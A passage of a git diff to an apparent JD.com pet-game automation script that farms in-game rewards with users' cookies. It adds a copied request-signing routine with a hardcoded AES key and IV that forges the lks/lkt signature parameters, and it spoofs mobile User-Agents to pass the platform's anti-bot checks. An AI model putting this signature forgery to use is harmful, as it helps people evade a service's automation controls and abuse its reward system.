console.log(`逛会场-${scanMarketItem.marketName}结果::${JSON.stringify(scanMarketRes)}`) await $.wait(5000) @@ -351,11 +344,11 @@ async function petTask() { "channelId": followChannelItem.channelId, "taskType": "FollowChannel" }; - await iconClick("follow_channel", followChannelItem.channelId); - await $.wait(2000) + await doScanMarket('follow_channel', followChannelItem.channelId); + await $.wait(1000) const scanMarketRes = await scanMarket('scan', body); console.log(`浏览频道-${followChannelItem.channelName}结果::${JSON.stringify(scanMarketRes)}`) - await $.wait(3000) + await $.wait(5000); } } } @@ -366,27 +359,26 @@ async function petTask() { for (let followGoodItem of followGoodList) { if (!followGoodItem.status) { const body = `sku=${followGoodItem.sku}`; - await iconClick("follow_good", followGoodItem.sku); - await $.wait(2000) + await doScanMarket('follow_good', followGoodItem.sku); + await $.wait(1000) const scanMarketRes = await scanMarket('followGood', body, 'application/x-www-form-urlencoded'); // const scanMarketRes = await appScanMarket('followGood', `sku=${followGoodItem.sku}&reqSource=h5`, 'application/x-www-form-urlencoded'); console.log(`关注商品-${followGoodItem.skuName}结果::${JSON.stringify(scanMarketRes)}`) - await $.wait(3000) + await $.wait(5000) } } } //看激励视频 if (item['taskType'] === 'ViewVideo') { - console.log('----浏览频道----'); + console.log('----激励视频----'); if (item.taskChance === joinedCount) { console.log('今日激励视频已看完') } else { for (let i = 0; i < new Array(item.taskChance - joinedCount).fill('').length; i++) { - console.log(`开始第${i+1}次看激励视频`); - const body = {"taskType":"ViewVideo","reqSource":"weapp"} + console.log(`开始第${i + 1}次看激励视频`); + const body = { "taskType": "ViewVideo" } let sanVideoRes = await scanMarket('scan', body); console.log(`看视频激励结果--${JSON.stringify(sanVideoRes)}`); - await $.wait(3000) } } } @@ -396,14 +388,14 @@ async function appPetTask() { await appGetPetTaskConfig(); // console.log('$.appGetPetTaskConfigRes', $.appGetPetTaskConfigRes.success) if ($.appGetPetTaskConfigRes.success) { - for (let item of $.appGetPetTaskConfigRes.datas) { + for (let item of $.appGetPetTaskConfigRes.datas || []) { if (item['taskType'] === 'ScanMarket' && item['receiveStatus'] === 'chance_left') { const scanMarketList = item.scanMarketList; for (let scan of scanMarketList) { if (!scan.status && scan.showDest === 'h5') { - const body = { marketLink: scan.marketLinkH5, taskType: 'ScanMarket', reqSource: 'h5' } + const body = { marketLink: `${scan.marketLink || scan.marketLinkH5}`, taskType: 'ScanMarket' } await appScanMarket('scan', body); - await $.wait(3000) + await $.wait(5000); } } } @@ -415,13 +407,19 @@ function getDeskGoodDetails() { // const url = `${JD_API_HOST}/getDeskGoodDetails`; const host = `jdjoy.jd.com`; const reqSource = 'h5'; - const url = `${JD_API_HOST}/common/pet/getDeskGoodDetails?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: "//jdjoy.jd.com/common/pet/getDeskGoodDetails?invokeKey=qRKHmL4sna8ZOP9F", + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; $.get(taskUrl(url, host, reqSource), (err, resp, data) => { try { if (err) { console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') } else { - console.log(data) data = JSON.parse(data); } } catch (e) { @@ -439,10 +437,16 @@ function followScan(sku) { const reqSource = 'h5'; const body = { "taskType": "ScanDeskGood", - "reqSource": "h5", sku } - const url = `${JD_API_HOST}/common/pet/scan?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: "//jdjoy.jd.com/common/pet/scan?invokeKey=qRKHmL4sna8ZOP9F", + method: "POST", + data: body, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; $.post(taskPostUrl(url, JSON.stringify(body), reqSource, host, 'application/json'), (err, resp, data) => { try { if (err) { @@ -462,13 +466,20 @@ function followScan(sku) { function scanMarket(type, body, cType = 'application/json') { return new Promise(resolve => { // const url = `${weAppUrl}/${type}`; - const host = `jdjoy.jd.com`; + const host = `draw.jdfcloud.com`; const reqSource = 'weapp'; - const url = `${JD_API_HOST}/common/pet/${type}?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: `//draw.jdfcloud.com/common/pet/${type}?invokeKey=qRKHmL4sna8ZOP9F`, + method: "POST", + data: body, + credentials: "include", + header: { "content-type": cType } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; if (cType === 'application/json') { body = JSON.stringify(body) } - $.post(taskPostUrl(url, body, reqSource, host, cType), (err, resp, data) => { + $.post(taskPostUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), body, reqSource, host, cType), (err, resp, data) => { try { if (err) { console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') @@ -483,13 +494,48 @@ function scanMarket(type, body, cType = 'application/json') { }) }) } +function doScanMarket(type, body) { + return new Promise(resolve => { + const host = `draw.jdfcloud.com`; + const reqSource = 'weapp'; + let opt = { + url: `//draw.jdfcloud.com/common/pet/icon/click?iconCode=${type}&linkAddr=${body}&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + // console.log(url); + $.get(taskUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), host, reqSource), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + //app逛会场 function appScanMarket(type, body) { return new Promise(resolve => { // const url = `${JD_API_HOST}/${type}`; const host = `jdjoy.jd.com`; const reqSource = 'h5'; - const url = `${JD_API_HOST}/common/pet/${type}?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: `//jdjoy.jd.com/common/pet/${type}?invokeKey=qRKHmL4sna8ZOP9F`, + method: "POST", + data: body, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; $.post(taskPostUrl(url, JSON.stringify(body), reqSource, host, 'application/json'), (err, resp, data) => { try { if (err) { @@ -507,62 +553,21 @@ function appScanMarket(type, body) { }) } -//签到 -function sign() { - return new Promise(resolve => { - // const url = `${weAppUrl}/getFood?reqSource=weapp&taskType=${type}`; - const host = `jdjoy.jd.com`; - const reqSource = 'h5'; - const url = `${JD_API_HOST}/common/pet/sign?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F&taskType=SignEveryDay` - $.get(taskUrl(url, host, reqSource), (err, resp, data) => { - try { - if (err) { - console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') - } else { - console.log(data) - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} //领取狗粮API function getFood(type) { return new Promise(resolve => { // const url = `${weAppUrl}/getFood?reqSource=weapp&taskType=${type}`; - const host = `jdjoy.jd.com`; + const host = `draw.jdfcloud.com`; const reqSource = 'weapp'; - const url = `${JD_API_HOST}/common/pet/getFood?reqSource=weapp&taskType=${type}&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` - $.get(taskUrl(url, host, reqSource), (err, resp, data) => { - try { - if (err) { - console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -//领取狗粮API -function iconClick(type, id) { - return new Promise(resolve => { - // const url = `${weAppUrl}/getFood?reqSource=weapp&taskType=${type}`; - const host = `jdjoy.jd.com`; - const reqSource = 'weapp'; - // ${JD_API_HOST}/common/pet/icon/click?iconCode=follow_channel&linkAddr=363&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F - // console.log(type, id) - const url = `${JD_API_HOST}/common/pet/icon/click?iconCode=${type}&linkAddr=${id}&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` - $.get(taskUrl(url, host, reqSource), (err, resp, data) => { + let opt = { + url: `//draw.jdfcloud.com/common/pet/getFood?taskType=${type}&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + $.get(taskUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), host, reqSource), (err, resp, data) => { try { if (err) { console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') @@ -583,10 +588,16 @@ function followShop(shopId) { // const url = `${weAppUrl}/followShop`; const body = `shopId=${shopId}`; const reqSource = 'weapp'; - const host = 'jdjoy.jd.com'; - // ${JD_API_HOST}/common/pet/followShop?validate=59d15039c5ad4d24af48fcec798962bf&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F - const url = `${JD_API_HOST}/common/pet/followShop?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` - $.post(taskPostUrl(url, body, reqSource, host,'application/x-www-form-urlencoded'), (err, resp, data) => { + const host = 'draw.jdfcloud.com'; + let opt = { + url: "//draw.jdfcloud.com/common/pet/followShop?invokeKey=qRKHmL4sna8ZOP9F", + method: "POST", + data: body, + credentials: "include", + header: { "content-type": "application/x-www-form-urlencoded" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + $.post(taskPostUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), body, reqSource, host, 'application/x-www-form-urlencoded'), (err, resp, data) => { try { if (err) { console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') @@ -601,13 +612,47 @@ function followShop(shopId) { }) }) } +function dofollowShop(shopId) { + return new Promise(resolve => { + const reqSource = 'weapp'; + const host = 'draw.jdfcloud.com'; + let opt = { + url: `//draw.jdfcloud.com/common/pet/icon/click?iconCode=follow_shop&linkAddr=${shopId}&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + credentials: "include", + header: { "content-type": "application/x-www-form-urlencoded" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + $.get(taskUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), host, reqSource), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + function enterRoom() { return new Promise(resolve => { // const url = `${weAppUrl}/enterRoom/h5?reqSource=weapp&invitePin=&openId=`; - const host = `jdjoy.jd.com`; + const host = `draw.jdfcloud.com`; const reqSource = 'weapp'; - const url = `${JD_API_HOST}/common/pet/enterRoom/h5?reqSource=h5&invitePin=&openId=&invokeKey=qRKHmL4sna8ZOP9F` - $.post({...taskUrl(url, host, reqSource),body:'{}'}, (err, resp, data) => { + let opt = { + url: `//draw.jdfcloud.com/common/pet/enterRoom/h5?invitePin=&openId=&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + $.post({ ...taskUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), host, reqSource), body: '{}' }, (err, resp, data) => { try { if (err) { console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') @@ -631,10 +676,16 @@ function enterRoom() { } function appGetPetTaskConfig() { return new Promise(resolve => { - // const url = `${JD_API_HOST}/getPetTaskConfig?reqSource=h5`; const host = `jdjoy.jd.com`; const reqSource = 'h5'; - const url = `${JD_API_HOST}/common/pet/getPetTaskConfig?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?invokeKey=qRKHmL4sna8ZOP9F", + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; $.get(taskUrl(url, host, reqSource), (err, resp, data) => { try { if (err) { @@ -655,13 +706,20 @@ function appGetPetTaskConfig() { function feedPets(feedNum) { return new Promise(resolve => { console.log(`您设置的喂食数量:${FEED_NUM}g\n`); - if (FEED_NUM === 0) { console.log(`跳出喂食`);resolve();return } + if (FEED_NUM === 0) { console.log(`跳出喂食`); resolve(); return } console.log(`实际的喂食数量:${feedNum}g\n`); // const url = `${weAppUrl}/feed?feedCount=${feedNum}&reqSource=weapp`; - const host = `jdjoy.jd.com`; + const host = `draw.jdfcloud.com`; const reqSource = 'weapp'; - const url = `${JD_API_HOST}/common/pet/feed?feedCount=${feedNum}&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` - $.get(taskUrl(url, host, reqSource), async (err, resp, data) => { + let opt = { + url: `//draw.jdfcloud.com/common/pet/feed?feedCount=${feedNum}&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + $.get(taskUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), host, reqSource), async (err, resp, data) => { try { if (err) { console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') @@ -710,10 +768,17 @@ function getPetTaskConfig() { // const url = `${weAppUrl}/getPetTaskConfig?reqSource=weapp`; // const host = `jdjoy.jd.com`; // const reqSource = 'h5'; - const host = `jdjoy.jd.com`; - const reqSource = 'h5'; - const url = `${JD_API_HOST}//common/pet/getPetTaskConfig?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` - $.get(taskUrl(url, host, reqSource), (err, resp, data) => { + const host = `draw.jdfcloud.com`; + const reqSource = 'weapp'; + let opt = { + url: "//draw.jdfcloud.com//common/pet/getPetTaskConfig?invokeKey=qRKHmL4sna8ZOP9F", + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + $.get(taskUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), host, reqSource), (err, resp, data) => { try { if (err) { console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') @@ -735,7 +800,14 @@ function getPetRace() { // const url = `${JD_API_HOST}/combat/detail/v2?help=false`; const host = `jdjoy.jd.com`; const reqSource = 'h5'; - const url = `${JD_API_HOST}/common/pet/combat/detail/v2?help=false&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: "//jdjoy.jd.com/common/pet/combat/detail/v2?help=false&invokeKey=qRKHmL4sna8ZOP9F", + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; $.get(taskUrl(url, host, reqSource), (err, resp, data) => { try { if (err) { @@ -758,7 +830,14 @@ function getRankList() { return new Promise(resolve => { // const url = `${JD_API_HOST}/combat/getRankList`; $.raceUsers = []; - const url = `${JD_API_HOST}/common/pet/combat/getRankList?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: "//jdjoy.jd.com/common/pet/combat/getRankList?invokeKey=qRKHmL4sna8ZOP9F", + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; $.get(taskUrl(url, `jdjoy.jd.com`, 'h5'), (err, resp, data) => { try { if (err) { @@ -779,15 +858,22 @@ function getRankList() { }) } //参加赛跑API -function runMatch(teamLevel, timeout = 10000) { - if (teamLevel === 10 || teamLevel === 50) timeout = 60000 * 2; +function runMatch(teamLevel, timeout = 5000) { + if (teamLevel === 10 || teamLevel === 50) timeout = 60000; console.log(`正在参赛中,请稍等${timeout / 1000}秒,以防多个账号匹配到统一赛场\n`) return new Promise(async resolve => { await $.wait(timeout); // const url = `${JD_API_HOST}/combat/match?teamLevel=${teamLevel}`; const host = `jdjoy.jd.com`; const reqSource = 'h5'; - const url = `${JD_API_HOST}/common/pet/combat/match?teamLevel=${teamLevel}&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: `//jdjoy.jd.com/common/pet/combat/match?teamLevel=${teamLevel}&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; $.get(taskUrl(url, host, reqSource), (err, resp, data) => { try { if (err) { @@ -811,7 +897,14 @@ function getBackupInfo() { // const url = `${JD_API_HOST}/combat/getBackupInfo`; const host = `jdjoy.jd.com`; const reqSource = 'h5'; - const url = `${JD_API_HOST}/common/pet/combat/getBackupInfo?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: "//jdjoy.jd.com/common/pet/combat/getBackupInfo?invokeKey=qRKHmL4sna8ZOP9F", + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; $.get(taskUrl(url, host, reqSource), (err, resp, data) => { try { if (err) { @@ -833,8 +926,15 @@ function getBackupInfo() { function getWinCoin() { return new Promise(resolve => { // const url = `${weAppUrl}/combat/detail/v2?help=false&reqSource=weapp`; - const url = `${JD_API_HOST}/common/pet/combat/detail/v2?help=false&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` - $.get(taskUrl(url, 'jdjoy.jd.com', `h5`), (err, resp, data) => { + let opt = { + url: "//draw.jdfcloud.com/common/pet/combat/detail/v2?help=false&invokeKey=qRKHmL4sna8ZOP9F", + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + $.get(taskUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), 'draw.jdfcloud.com', `weapp`), (err, resp, data) => { try { if (err) { console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') @@ -859,7 +959,14 @@ function receiveJoyRunAward() { // const url = `${JD_API_HOST}/combat/receive`; const host = `jdjoy.jd.com`; const reqSource = 'h5'; - const url = `${JD_API_HOST}/common/pet/combat/receive?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: "//jdjoy.jd.com/common/pet/combat/receive?invokeKey=qRKHmL4sna8ZOP9F", + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; $.get(taskUrl(url, host, reqSource), (err, resp, data) => { try { if (err) { @@ -886,7 +993,7 @@ async function energySupplyStation(showOrder) { const { marketList } = $.getSupplyInfoRes.data; for (let list of marketList) { if (!list['status']) { - await scanMarket('combat/supply', { showOrder, 'supplyType': 'scan_market', 'taskInfo': list.marketLink || list['marketLinkH5'], 'reqSource': 'weapp' }); + await scanMarket('combat/supply', { showOrder, 'supplyType': 'scan_market', 'taskInfo': list.marketLink || list['marketLinkH5'] }); await getSupplyInfo(showOrder); } else { $.log(`能力补给站 ${$.getSupplyInfoRes.data.addDistance}km里程 已领取\n`); @@ -902,8 +1009,15 @@ async function energySupplyStation(showOrder) { function getSupplyInfo(showOrder) { return new Promise(resolve => { // const url = `${weAppUrl}/combat/getSupplyInfo?showOrder=${showOrder}`; - const url = `${JD_API_HOST}/common/pet/combat/getSupplyInfo?showOrder=${showOrder}&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` - $.get(taskUrl(url, 'jdjoy.jd.com', `weapp`), (err, resp, data) => { + let opt = { + url: `//draw.jdfcloud.com/common/pet/combat/getSupplyInfo?showOrder=${showOrder}&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + $.get(taskUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), 'draw.jdfcloud.com', `weapp`), (err, resp, data) => { try { if (err) { console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') @@ -942,7 +1056,7 @@ function TotalBean() { "Connection": "keep-alive", "Cookie": cookie, "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jjdapp;iPhone;10.0.4;14.3;8a0d1837f803a12eb217fcf5e1f8769cbb3f898d;network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") } } $.post(options, (err, resp, data) => { @@ -978,16 +1092,15 @@ function taskUrl(url, Host, reqSource) { return { url: url, headers: { - "Accept": "*/*", 'Cookie': cookie, // 'reqSource': reqSource, 'Host': Host, 'Connection': 'keep-alive', 'Content-Type': 'application/json', - 'origin': 'https://h5.m.jd.com', - 'referer': 'https://h5.m.jd.com/', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jjdapp;iPhone;10.0.4;14.3;8a0d1837f803a12eb217fcf5e1f8769cbb3f898d;network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', } } } @@ -996,15 +1109,14 @@ function taskPostUrl(url, body, reqSource, Host, ContentType) { url: url, body: body, headers: { - "Accept": "*/*", - 'Accept-Language': 'zh-cn', - 'Content-Type': ContentType, 'Cookie': cookie, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jjdapp;iPhone;10.0.4;14.3;8a0d1837f803a12eb217fcf5e1f8769cbb3f898d;network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), // 'reqSource': reqSource, + 'Content-Type': ContentType, 'Host': Host, - 'origin': 'https://h5.m.jd.com', - 'referer': 'https://h5.m.jd.com/', + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', } } } @@ -1019,5 +1131,111 @@ function jsonParse(str) { } } } +function taroRequest(e) { + const a = $.isNode() ? require('crypto-js') : CryptoJS; + const i = "98c14c997fde50cc18bdefecfd48ceb7" + const o = a.enc.Utf8.parse(i) + const r = a.enc.Utf8.parse("ea653f4f3c5eda12"); + let _o = { + "AesEncrypt": function AesEncrypt(e) { + var n = a.enc.Utf8.parse(e); + return a.AES.encrypt(n, o, { + "iv": r, + "mode": a.mode.CBC, + "padding": a.pad.Pkcs7 + }).ciphertext.toString() + }, + "AesDecrypt": function AesDecrypt(e) { + var n = a.enc.Hex.parse(e) + , t = a.enc.Base64.stringify(n); + return a.AES.decrypt(t, o, { + "iv": r, + "mode": a.mode.CBC, + "padding": a.pad.Pkcs7 + }).toString(a.enc.Utf8).toString() + }, + "Base64Encode": function Base64Encode(e) { + var n = a.enc.Utf8.parse(e); + return a.enc.Base64.stringify(n) + }, + "Base64Decode": function Base64Decode(e) { + return a.enc.Base64.parse(e).toString(a.enc.Utf8) + }, + "Md5encode": function Md5encode(e) { + return a.MD5(e).toString() + }, + "keyCode": "98c14c997fde50cc18bdefecfd48ceb7" + } + + const c = function sortByLetter(e, n) { + if (e instanceof Array) { + n = n || []; + for (var t = 0; t < e.length; t++) + n[t] = sortByLetter(e[t], n[t]) + } else + !(e instanceof Array) && e instanceof Object ? (n = n || {}, + Object.keys(e).sort().map(function (t) { + n[t] = sortByLetter(e[t], n[t]) + })) : n = e; + return n + } + const s = function isInWhiteAPI(e) { + for (var n = ["gift", "pet"], t = !1, a = 0; a < n.length; a++) { + var i = n[a]; + e.includes(i) && !t && (t = !0) + } + return t + } + + const d = function addQueryToPath(e, n) { + if (n && Object.keys(n).length > 0) { + var t = Object.keys(n).map(function (e) { + return e + "=" + n[e] + }).join("&"); + return e.indexOf("?") >= 0 ? e + "&" + t : e + "?" + t + } + return e + } + const l = function apiConvert(e) { + for (var n = r, t = 0; t < n.length; t++) { + var a = n[t]; + e.includes(a) && !e.includes("common/" + a) && (e = e.replace(a, "common/" + a)) + } + return e + } + + var n = e + , t = (n.header, + n.url); + t += (t.indexOf("?") > -1 ? "&" : "?") + "reqSource=h5"; + var _a = function getTimeSign(e) { + var n = e.url + , t = e.method + , a = void 0 === t ? "GET" : t + , i = e.data + , r = e.header + , m = void 0 === r ? {} : r + , p = a.toLowerCase() + , g = _o.keyCode + , f = m["content-type"] || m["Content-Type"] || "" + , h = "" + , u = +new Date(); + return h = "get" !== p && + ("post" !== p || "application/x-www-form-urlencoded" !== f.toLowerCase() && i && Object.keys(i).length) ? + _o.Md5encode(_o.Base64Encode(_o.AesEncrypt("" + JSON.stringify(c(i)))) + "_" + g + "_" + u) : + _o.Md5encode("_" + g + "_" + u), + s(n) && (n = d(n, { + "lks": h, + "lkt": u + }), + n = l(n)), + Object.assign(e, { + "url": n + }) + }(e = Object.assign(e, { + "url": t + })); + return _a +} // prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let 